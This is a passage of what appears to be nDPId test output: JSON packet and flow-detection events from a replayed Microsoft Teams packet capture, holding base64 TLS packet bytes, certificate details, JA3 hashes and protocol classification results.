GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0yMDA0MDIxNjU4MDlaFw0yMTA0MDIxNjU4MDlaMCsxKTAnBgNVBAMMIE1pY3Jvc29mdF9JVF9UTFNfQ0FfNV9LZXlCaW5kaW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt72xRWYGvzznDDT8NXYL9rp9+Ya3b0Z6P2wS3akQ58NdGCNNqh5bkYWl59MsBDUHv9Ef+w2CazdUk3Nynho4E8vpdECh67pX0G62DZBOiFmluBNKbuC5wy0qFpuDZifuCaL\/JIioH+qZxw1n9T+IlPYbhUIt9LEWbIcz3NKvVAjL22uCbIe4fgQeiRQY6CQMOOiKJvbVG0ji+rtc86+Mxhhl4WT\/oA0rEF\/rkByMk2VOShPm7OYdkPB4JadSsYxElQdJQqZtZ7Dx1QoI7ppuYvpwizs9bk5\/qpPbZOX2ffENmbYPX8IEIoHImvw+d5OCujhcH8ND8y2D3AEt3YOySwIDAQABo4HWMIHTMB0GA1UdDgQWBBQodwHOZZ6LuFUo+CvPI9\/FvHYaTDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDwYJKwYBBQUHMAEFBAIFADAfBgNVHSMEGDAWgBQI\/iWfdOqHBMK8u46oOF8zxtFsZTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdgcybR4HI6RYCAWQCAQcwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDCTANBgkqhkiG9w0BAQsFAAOCAgEAZeWmp3UPfRLZIyUkIOP3qzADvvJHesY63Dc2ynSZnVwywgjceFf+k+yQAXU4qttDwcVbl8RAxZ3TRxOK\/tx9uYmaavtEm3swh9h5B7DCvmIXfqsJJlRpK\/OFGfcf49BNBZXJky59f8YfJ49hsiJiWchclECz2p04IejlY2rjzCMngCMT2bpAzYBsJXomAbKsVRl07LYT4CLhdIIHrd+syTeudyjkMfJb34y+qxxeDCvdd+fLKHcrxUao3ZXsd7wz3mk1EWQVaTo+Md3\/ECUv"} +01153{"flow_id":74,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2584,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":913602,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMnaJAAGwGflA0cvqYwKgBBgG7w17cXBXn3TTJxlAYCAQnDgAAEO5WjXjIe6ycKomslpwe+EFt6Mjgit5TOxZ3H33HANI4vT53PRNoyKZhkE4S9iFCZzfCTWensJkZpnlLMABE4aqNQAX6ZU\/zapbAGS9LPTaiKv9Ry1gMKarsrTbdnF5winwAmVhwqa89tPKzbfBk4V04yBPdDJ2DjFTLanTQ3ELGqhKqqmcvrsuHghO2d9ak1HP13ExxC0+i4+GrhqIUwyWxdjniUJlyleN+iiIaKEg6jvrVHFWrR3PUtDbo8TEacEyF96c8xXcjPVnUVrhVI++2dvqyNpMZ8ACJADw9JEE8gToopzGHlqjm36adlbvaZA10Gxs+B\/nQx7a7NeW17x1RViO2RGJOk4lHSYkzJLzAXxFd+J6icgx2JzFBiVk7job1q60ezkEMDfaRdnPXFQ8MAAFpAwAYYQQhQf1daOeyhgiavOXY\/txK+QPeehjV4SAFwgk2\/7vZFfnvBpx3s79fUnAwIryC0QS1\/SQoFkL+wU7sxxwPvq+ruhfRWOuXB4uL2Rh3JHRqTevg\/\/GagRR8oAQLHABO2g0EAQEAAFpM+ijJH609K8Xd4u7I\/GpZsxkUnc1ySSo2E\/dDEZ7xCReh8uynQdfZkfJaSbRKJmhhmUU+xVoZLwzoqlQhwyPtxEv7I4b1oax8FTuY+k7WDigByZC2b8eLQVWHprFPRqAGAXk7TEa8sB3CwmuSJ1iD75izcK4LDTR17k+CeJ81gvVdt3w="} +00584{"flow_id":74,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2585,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":913604,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"KDc3AG3IEBMx8Tl2CABFAACmnaNAAGwGf\/U0cvqYwKgBBgG7w17cXBgL3TTJxlAYCARH6AAAoGYXVjxNjX0u94sb8EN71aR8FxRAxm4b7QhVDBFJeFyj2oxCVxEyLIOQM9r2Y\/py\/X1yaMdHm1JKh4uaQ14MPCaKxipbs9DYx5FnTDsagbvW939x1tOszgRxqrOpD63\/UszJQ1xtkbtRA8XFVVi29UHzj+W5gCPWBr0OAAAA"} +01224{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2585,"source":"teams.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":14,"flow_first_seen":1587041693828,"flow_last_seen":1587041693913,"flow_tot_l4_data_len":6616,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.152","src_port":50014,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"10":"TLS Certificate Mismatch","15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"52.114.250.152","server_names":"tr.teams.microsoft.com,*.tr.teams.microsoft.com,turn.teams.microsoft.com,*.turn.teams.microsoft.com,*.relay.teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"986571066668055ae9481cb84fda634a","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 5","issuerDN":"CN=tr.teams.microsoft.com","fingerprint":"A7:90:8D:41:ED:24:D2:83:48:95:90:CE:18:D3:A6:C2:62:7A:07:75"}} +00409{"flow_id":74,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2586,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":913642,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGShfAqAEGNHL6mMNeAbvdNMnG3FwYC1AQH+4+sAAA"} +02360{"flow_id":75,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2595,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":937910,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUNyxAAGwG4T00cvqZwKgBBgG7w3QJhgXZjJLMlFAQCAT\/SwAAFgMDF+kCAABVAwNemFWdlZ1o0K1pDuc31o7KbeFA6zW0UoTj74rN53YU1yAVNwAAZbPmUJGFDDA3baQ8RQ+flEqSYPNJweq+ysirz8AwAAANAAUAAAAXAAD\/AQABAAsADuwADukACSswggknMIIHD6ADAgECAhMtAAZemCjIP80XJ2CuAAAABl6YMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0xOTA1MjQxNDEwMjZaFw0yMTA1MjQxNDEwMjZaMCExHzAdBgNVBAMTFnRyLnRlYW1zLm1pY3Jvc29mdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCLTNHPfgLoOgUfyR4c2CDg+CoBg7bwaQp6OOdTLjN80e6165bdZW8ryNWADQBv\/\/6Ld1H5eQQNetSDwVifHVU+CteBiHg6T9F1rA96B1Fk1nARcGhMPsZbgvGxJ+NR6ygkRK7GWC6KFZyOiZ0MvWyxQTJBlsBwklHTiX9D0fiSz06Q+tVkIHpWWHGkJRO+Tm3UUtCMr7e1K4eQloaVRg1AeMGEhZEaGXyKum9VwAP15maK0zwKMiUymx8uWFHW4J0+7wZd9kZyUeJvDO2QDZvxPl5w9NBzvGZUQFIkRD+XvUanlt9AtvhnDy5BiPzueeQgaJbyvyJl4Af8nIo8gppfAgMBAAGjggTrMIIE5zCCAfUGCisGAQQB1nkCBAIEggHlBIIB4QHfAHYA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAFq6jb0ngAABAMARzBFAiEA+SbPYnNZBq5NAa+KJuZcLJF6Cs7c51vg2wno92Y73cQCIFui0LePG9Yu0H+TqmpdeWJeVlJ0KiyWWMKI6D92L\/K3AHUAVYHUwhaQNgFK6gubVzxT8MDkOHhwJQgXL6OqHQcT0wwAAAFq6jb1LQAABAMARjBEAiAZDnc3oPi8LaNBy6Df89WOlPch018jWvYNKaDO2U51nQIgYZuZffTHCtDDZ3lWVJgiVsjUCTGqki0p6MIBuSQoIfUAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAWrqNvNaAAAEAwBIMEYCIQChq4nHPM4twtbxyAgrDLE3a797eV+6L2EiO6pBrFmrUAIhANBHWXnY9HAcs6WqVRp9r8q8wlaSY9pBfB7vJlbCShQPAHUARJRlLrDuzq\/EQAfYqP4owNrmgr7YyzG1P9MzlrW2gagAAAFq6jb0QQAABAMARjBEAiAzKKpy8ELEm5AO\/Cl8weRDML0CJ7IOPZ2GbRbx\/8vxWgIgDCW1c1pNKCE9DA2mbQwKGa4Z2H7dNtIRrzU4ZJcZOr8wJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBSC313bBDWiwUMAeq0EgFmCSqbJVzALBgNVHQ8EBAMC"} +01144{"flow_id":75,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2596,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":937947,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMNy1AAGwG5MQ0cvqZwKgBBgG7w3QJhguFjJLMlFAYCAQZAAAABLAwgZAGA1UdEQSBiDCBhYIWdHIudGVhbXMubWljcm9zb2Z0LmNvbYIYKi50ci50ZWFtcy5taWNyb3NvZnQuY29tghh0dXJuLnRlYW1zLm1pY3Jvc29mdC5jb22CGioudHVybi50ZWFtcy5taWNyb3NvZnQuY29tghsqLnJlbGF5LnRlYW1zLm1pY3Jvc29mdC5jb20wgawGA1UdHwSBpDCBoTCBnqCBm6CBmIZLaHR0cDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JshklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JsME0GA1UdIARGMEQwQgYJKwYBBAGCNyoBMDUwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NwczAfBgNVHSMEGDAWgBQI\/iWfdOqHBMK8u46oOF8zxtFsZTAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDQYJKoZIhvcNAQELBQADggIBABCcisiO+DAS4OPnUkT5drdGW+ySCAd1BsW3Lp1Fdet9nBRcfBcsaKZ66uJsRxluxJrhagjZ4fh8tXKFj90="} +00408{"flow_id":75,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2597,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":938036,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGShbAqAEGNHL6mcN0AbuMksyUCYYNqVAQH8Fp0wAA"} +02370{"flow_id":75,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2598,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":938114,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUNy5AAGwG4Ts0cvqZwKgBBgG7w3QJhg2pjJLMlFAQCAQGugAAW6sdwoMA3bRkqxv5VpjyajDfFXWqL4G9QZfl841dfR9SjQLMnRDtMHjHLLEHhJCKLU2ikazGCdNZMqtfaxeWquCIWw56s0bCKwmin9Y3DIsAdEejps5dwVGPEJfdlpEbIxcuBzCIRY0C23wA8SsmAke7nyJfwnrDoCjE4H7m3XXod08er9hfv0q4nITSnedP3o61Oc42o6ZTtprTcb83jeNHnfqPTx\/r7JoPcNdqLrU2S9F5B\/3\/72kY0IJW8GVz3JfVywG\/oGQZf4DtR+N9iCPyVunnsxwatk5VQeVSeoKWofbhmm5\/59\/eJyGGKNh6xcOod+zQ\/yRc87f6tHNG2YoyFngY2b4iSL5cKDGkUG4HW8AD3tnSSMB+eS+kUxAHQWzl9sk8GGj5SN\/h6yZsZx0M8Cajppy8O10hsA4MnuDtB3uK64JLD12Do4vw3+8vrlcfGCUgqrNGgRVPtSVulxGnCvWOq0JhUVItmI195Is0h3MiJgXc2KNuZpMfbIcuyiiUJx2zdkFT81nL1PidcMdiaFVUoMih7rr4UtgVbmkgKemK\/Z7z3no4iLWFOB0NszihbN+mXEPfve7ERdipQf9N4gAFuDCCBbQwggScoAMCAQICEAiIzVJfGSRETRSlgpHeuVIwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUzMDNaFw0yNDA1MjAxMjUzMDNaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJrfgVw7j67peZa5mnmngfI52lUoRiMCxYJmB7YV3v2cOhqbkQnSZo8LiRf4cYchfzjTP5olALc10Kv4CHo281Bb3yspJ96k3SSS+vTGcI02KprwgN41+h5CnQmBqtUHChalxVpCbUK+HkKCtFcwmVtFK9SP0woGxnOTpOGD78W\/BSeneM2zC+CeIhbzmNymFOjMlNcj+dBQmbu1CxCV8d8C6Y+OnVaZPNiP01j7XJJ+PXv4UEla9xB7d\/jmSpBKVVLelK10CaBkVyzNB5CfFq2Vw9EGuvHvbAW1BKyp3Bsxmw4tGZUET95my601cq8ZggiyFDoWX7A8m9uNDLAC1iYf6BVxxO\/5YzlDjOnCki6hwqAwJQ6WJ1+eoyuC1hC9PBkepof+VSE6XEH8AZjML5L\/Zji0uGacDxJoS0qshrtemP+eppxTbDMRpNCuUkfXi4\/xlqy5KZqPLPGtZBjDJrsAZN5QcMC77MZrrtOg78DxXA3yzHpZ2hgzL1kQrWcULF8iQ0pE4ejd4OdVFk4J7wNMDEhQWvAD347vY8pbZ4dDQCwGth8PPlPAZj\/XFBXmCGKYSH6D5ae1XVEtVC1h\/TRd1LeAzdJ9zrEkO\/OXbGwT3ooXyYr1SJVC9xKQ4xAX9qEAxTYqZZGeBexCLlq4mRv\/1E61+mZV2YOOvwgpjfoLAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUF"} +01151{"flow_id":75,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2599,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":938128,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMNy9AAGwG5MI0cvqZwKgBBgG7w3QJhhNVjJLMlFAYCAQc2gAABwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAPvLPMKV6vx5q3zlYGCg8w53u54HFS\/xn9r8fTjfa3vCv7or5A3tgZ3THO9r\/K0rr\/VR1E4vlwoESulISILopijrNQyTM1RcF\/pwWP3PgbUHAdj3yq0jFWWJkukRPChiCP0HqPxg6WOegMFd19dFqMRS2lJll2rboAd7kq\/u18+UZChhfpAJX3rZcJm9z\/i4J9QhDxA\/HJH+dKGdlodxb8Dr9+HCF56VPJN5CPx1EO12FBoUdHhzU2U5R5P0eERbMngDZlxqX42XHhjUbU3a+MtEsQUlLoz6TDFt3VwcwPDWLjNFpoif6VeirnRAe0RffumyJ08lb1wuUiKnYtJXXjhYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBQodwHOZZ6LuFUo+CvPI9\/FvHYaTBgPMjAyMDA0MTUxOTA="} +00409{"flow_id":75,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2600,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":938156,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGShbAqAEGNHL6mcN0AbuMksyUCYYVeVAQH8FiAwAA"} +02368{"flow_id":75,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2601,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":938366,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUNzBAAGwG4Tk0cvqZwKgBBgG7w3QJhhV5jJLMlFAQCASEQQAANjIwWjCBmzCBmDBMMAkGBSsOAwIaBQAEFCmF\/GE9vi+wEg9eQg5MnsPVnv18BBQI\/iWfdOqHBMK8u46oOF8zxtFsZQITLQAGXpgoyD\/NFydgrgAAAAZemIAAGA8yMDIwMDQxNTE5MDYyMFqgERgPMjAyMDA0MTkxOTA2MjBaoSIwIDAeBgkrBgEFBQcwAQYEERgPMjAxOTA0MTYxOTA2MjBaMA0GCSqGSIb3DQEBCwUAA4IBAQAaQYaDpwd6DNwyOUeit6mUOBXgoV06pe6ThWCURamS0COPur719YO54pzaWQ\/wQiNdRfJ+6IxdL624Y9ECjW7h0i3GVY5McK\/JE0+t8QKiDyIrzja2mdM3dr87glc0ghsX25i5Wq+uovmAq2y0kIR5ZDxPkSCewMHChNQBpgB6w7ldXqSVgO6mMxOPGIUJeCKP7XKb6HxICQ+KDOclyTMlRvOfgXDsfJ+qgS\/\/Xx69gdsXVVKuxxVgmTXKPjwc6+0PAhk7AM38T+1uvkyY+cnLoNXnWfuXwei6nw4U+wy7NBkdjTNfderi681shWsjrz7QTveMgXHXa8hDzke10XqeoIIFIzCCBR8wggUbMIIDA6ADAgECAhNuABXTTwZmllgRJK\/RAAAAFdNPMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0yMDA0MDIxNjU4MDlaFw0yMTA0MDIxNjU4MDlaMCsxKTAnBgNVBAMMIE1pY3Jvc29mdF9JVF9UTFNfQ0FfNV9LZXlCaW5kaW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt72xRWYGvzznDDT8NXYL9rp9+Ya3b0Z6P2wS3akQ58NdGCNNqh5bkYWl59MsBDUHv9Ef+w2CazdUk3Nynho4E8vpdECh67pX0G62DZBOiFmluBNKbuC5wy0qFpuDZifuCaL\/JIioH+qZxw1n9T+IlPYbhUIt9LEWbIcz3NKvVAjL22uCbIe4fgQeiRQY6CQMOOiKJvbVG0ji+rtc86+Mxhhl4WT\/oA0rEF\/rkByMk2VOShPm7OYdkPB4JadSsYxElQdJQqZtZ7Dx1QoI7ppuYvpwizs9bk5\/qpPbZOX2ffENmbYPX8IEIoHImvw+d5OCujhcH8ND8y2D3AEt3YOySwIDAQABo4HWMIHTMB0GA1UdDgQWBBQodwHOZZ6LuFUo+CvPI9\/FvHYaTDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDwYJKwYBBQUHMAEFBAIFADAfBgNVHSMEGDAWgBQI\/iWfdOqHBMK8u46oOF8zxtFsZTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdgcybR4HI6RYCAWQCAQcwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDCTANBgkqhkiG9w0BAQsFAAOCAgEAZeWmp3UPfRLZIyUkIOP3qzADvvJHesY63Dc2ynSZnVwywgjceFf+k+yQAXU4qttDwcVbl8RAxZ3TRxOK\/tx9uYmaavtEm3swh9h5B7DCvmIXfqsJJlRpK\/OFGfcf49BNBZXJky59f8YfJ49hsiJiWchclECz2p04IejlY2rjzCMngCMT2bpAzYBsJXomAbKsVRl07LYT4CLhdIIHrd+syTeudyjkMfJb34y+qxxeDCvdd+fLKHcrxUao3ZXsd7wz3mk1EWQVaTo+Md3\/ECUv"} +01153{"flow_id":75,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2602,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":938381,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"KDc3AG3IEBMx8Tl2CABFAAJMNzFAAGwG5MA0cvqZwKgBBgG7w3QJhhsljJLMlFAYCATpCwAAEO5WjXjIe6ycKomslpwe+EFt6Mjgit5TOxZ3H33HANI4vT53PRNoyKZhkE4S9iFCZzfCTWensJkZpnlLMABE4aqNQAX6ZU\/zapbAGS9LPTaiKv9Ry1gMKarsrTbdnF5winwAmVhwqa89tPKzbfBk4V04yBPdDJ2DjFTLanTQ3ELGqhKqqmcvrsuHghO2d9ak1HP13ExxC0+i4+GrhqIUwyWxdjniUJlyleN+iiIaKEg6jvrVHFWrR3PUtDbo8TEacEyF96c8xXcjPVnUVrhVI++2dvqyNpMZ8ACJADw9JEE8gToopzGHlqjm36adlbvaZA10Gxs+B\/nQx7a7NeW17x1RViO2RGJOk4lHSYkzJLzAXxFd+J6icgx2JzFBiVk7job1q60ezkEMDfaRdnPXFQ8MAAFpAwAYYQR9Xzasg6o56fwVydh8\/2qHt6uNNjQsgEydKcdG8qpRHli+PKMoJeNKLPLwYJA\/NVQY9Mgsc2LsWo924Dp37+uJHJoKxlwS\/mcRdQEFZSjE9BkNuroZHuDQnnNMsKYyv1UEAQEAK4yX\/YhVEwd2zEFvWPVpwix8vVQtkifJlrXh74kG4KB2YpM6atsG6NGDuhleV5Q8I0DDXGvheEFR\/He2pQR6uNZ7aZd3nT2DLVDCbVHDOETZ+6ZW0YfuvH3OsFI+LfFXOCxaCdQu8\/oStOwZaB186hoKZA2VJkkbUo285KLz3Q1iCsTYa\/E="} +00583{"flow_id":75,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2603,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":938382,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"KDc3AG3IEBMx8Tl2CABFAACmNzJAAGwG5mU0cvqZwKgBBgG7w3QJhh1JjJLMlFAYCAQnLgAAvPhf6s8atadXOYIv8S\/kfh4lalB+\/KO7EsW7qibh4IX25u6kJs295JdF00jtndo3KB+O5mLywq7lVcO2UaxV7pBao4ZK\/1jPpcSNa98o6xrwsOJ+MWsHZAWq9r7iEbUJV++auMwbgBpMe6uRjTmnSy9VPw119vTUh0QOAAAA"} +01224{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2603,"source":"teams.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":13,"flow_first_seen":1587041693849,"flow_last_seen":1587041693938,"flow_tot_l4_data_len":6596,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":507,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.153","src_port":50036,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"10":"TLS Certificate Mismatch","15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"52.114.250.153","server_names":"tr.teams.microsoft.com,*.tr.teams.microsoft.com,turn.teams.microsoft.com,*.turn.teams.microsoft.com,*.relay.teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"986571066668055ae9481cb84fda634a","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 5","issuerDN":"CN=tr.teams.microsoft.com","fingerprint":"A7:90:8D:41:ED:24:D2:83:48:95:90:CE:18:D3:A6:C2:62:7A:07:75"}} +00409{"flow_id":75,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2604,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":938410,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGShbAqAEGNHL6mcN0AbuMksyUCYYdSVAQH8FaMwAA"} 